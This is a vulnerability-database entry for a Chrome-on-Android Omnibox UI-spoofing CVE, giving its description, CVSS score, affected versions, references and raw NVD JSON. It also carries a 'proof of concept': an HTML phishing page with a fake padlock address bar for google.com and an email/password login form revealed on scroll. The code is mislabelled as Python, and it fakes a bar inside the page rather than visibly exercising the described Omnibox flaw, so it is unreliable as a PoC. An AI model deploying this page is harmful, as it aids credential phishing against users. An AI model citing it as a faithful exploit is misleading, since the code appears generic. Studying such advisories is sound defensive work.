CVE-2025-12447

Description

Incorrect security UI in Omnibox in Google Chrome on Android prior to 142.0.7444.59 allowed a remote attacker who convinced a user to engage in specific UI gestures to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)

CVSS Details

CVSS Score

4.2

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:google:android:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome on Android < 142.0.7444.59

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-12447 UI Spoofing PoC for Google Chrome Android -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-12447 UI Spoofing PoC</title>
    <style>
        body { margin: 0; padding: 20px; font-family: Arial, sans-serif; }
        .spoof-content { height: 2000px; }
        .fake-bar {
            position: fixed; top: 0; left: 0; right: 0;
            background: #00aa00; color: white; padding: 10px;
            text-align: center; font-weight: bold;
            display: none;
        }
        .attack-content {
            position: relative; z-index: 1;
            background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
            color: white; padding: 50px; border-radius: 10px;
            margin-top: 60px;
        }
    </style>
</head>
<body>
    <div class="fake-bar" id="fakeBar">🔒 https://www.google.com</div>
    <div class="spoof-content">
        <h1>Benign Content - Scroll Down</h1>
        <p>Scroll to reveal spoofed address bar...</p>
        <div style="height: 800px;"></div>
        <div class="attack-content">
            <h2>Phishing Page</h2>
            <p>Please enter your credentials:</p>
            <input type="text" placeholder="Email" style="padding: 10px; width: 300px; margin: 10px 0;">
            <input type="password" placeholder="Password" style="padding: 10px; width: 300px; margin: 10px 0;">
            <button style="padding: 10px 30px; background: #4CAF50; color: white; border: none; cursor: pointer;">Login</button>
        </div>
    </div>
    <script>
        // UI Spoofing trigger on scroll gesture
        let scrollCount = 0;
        window.addEventListener('scroll', function() {
            scrollCount++;
            if (scrollCount > 3) {
                document.getElementById('fakeBar').style.display = 'block';
            }
        });
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-12447
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-12447
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-12447/
[4] VulDB https://vuldb.com/cve/CVE-2025-12447
[5] https://chromereleases.googleblog.com/2025/10/stable-channel-update-for-desktop_28.html
[6] https://issues.chromium.org/issues/442636157

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-12447", "sourceIdentifier": "[email protected]", "published": "2025-11-10T20:15:39.473", "lastModified": "2025-11-13T15:21:29.803", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Incorrect security UI in Omnibox in Google Chrome on Android prior to 142.0.7444.59 allowed a remote attacker who convinced a user to engage in specific UI gestures to perform UI spoofing via a crafted HTML page. (Chromium security severity: Low)"}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:L/I:N/A:L", "baseScore": 4.2, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.6, "impactScore": 2.5}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-306"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:*", "versionEndExcluding": "142.0.7444.59", "matchCriteriaId": "B56189F0-45F6-4A5B-AFFD-07B20B001040"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:google:android:-:*:*:*:*:*:*:*", "matchCriteriaId": "F8B9FEC8-73B6-43B8-B24E-1F7C20D91D26"}]}]}], "references": [{"url": "https://chromereleases.googleblog.com/2025/10/stable-channel-update-for-desktop_28.html", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://issues.chromium.org/issues/442636157", "source": "[email protected]", "tags": ["Issue Tracking", "Permissions Required"]}]}}